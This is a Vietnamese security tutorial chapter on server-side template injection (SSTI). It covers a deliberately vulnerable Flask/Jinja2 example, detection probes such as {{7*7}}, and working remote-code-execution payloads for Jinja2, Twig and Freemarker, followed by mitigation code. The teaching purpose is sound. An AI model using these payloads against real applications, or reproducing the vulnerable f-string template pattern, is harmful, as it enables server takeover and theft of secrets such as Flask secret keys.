Chương 25: SSTI — Server-Side Template Injection
Khái niệm
SSTI (Server-Side Template Injection — Tiêm vào template phía server) xảy ra khi user input được nhúng trực tiếp vào template engine và được evaluate, thay vì được treated như data.
Mức độ nguy hiểm: Rất cao — SSTI thường dẫn đến RCE.
Template Engines phổ biến
| Engine | Ngôn ngữ | Syntax |
|---|---|---|
| Jinja2 | Python | {{ }}, {% %} |
| Twig | PHP | {{ }}, {% %} |
| Freemarker | Java | ${...}, <#...> |
| Thymeleaf | Java | ${...}, th:* |
| ERB | Ruby | <%= %>, <% %> |
| Pebble | Java | {{ }}, {% %} |
Cách hoạt động
# Vulnerable Jinja2
from jinja2 import Template
@app.route('/hello')
def hello():
name = request.args.get('name')
# SAI: string interpolation trước khi template render
template = Template(f"Hello {name}!") # ← Inject point!
return template.render()
# Normal: name=Alice → "Hello Alice!"
# Attack: name={{ 7*7 }} → "Hello 49!" → Template evaluated!
# Attack: name={{ config }} → leak Flask config (secret key!)
Detection
Fuzz với: ${{<%[%'"}}%\
→ Nếu error → template engine present
Mathematical expressions:
${7*7} → 49 (Jinja2/Twig)
<%= 7*7 %> → 49 (ERB)
#{7*7} → 49 (Ruby template)
{{7*7}} → 49 (Jinja2)
{{7*'7'}} → '7777777' (Jinja2 với Python multiplication)
→ 49 (Twig với PHP multiplication)
→ Phân biệt engine
Exploitation
Jinja2 RCE
# Payload để đạt RCE trong Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Hoặc qua MRO (Method Resolution Order)
{{''.__class__.__mro__[1].__subclasses__()}}
# → List tất cả subclasses → tìm subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate()}}
# Ngắn hơn:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
Phòng chống
# ĐÚNG: Pass data riêng biệt, không string interpolation
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html', 'xml']))
template = env.from_string("Hello {{ name }}!") # Template literal
return template.render(name=user_input) # Data riêng biệt
# Sandbox Jinja2
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Giới hạn access đến Python internals
Tóm tắt
- SSTI: user input evaluated như template code → RCE.
- Detect:
{{7*7}}→ 49. - Exploit: access Python internals qua MRO,
os.popen(). - Phòng chống: không concat user input vào template string, dùng render(data=input).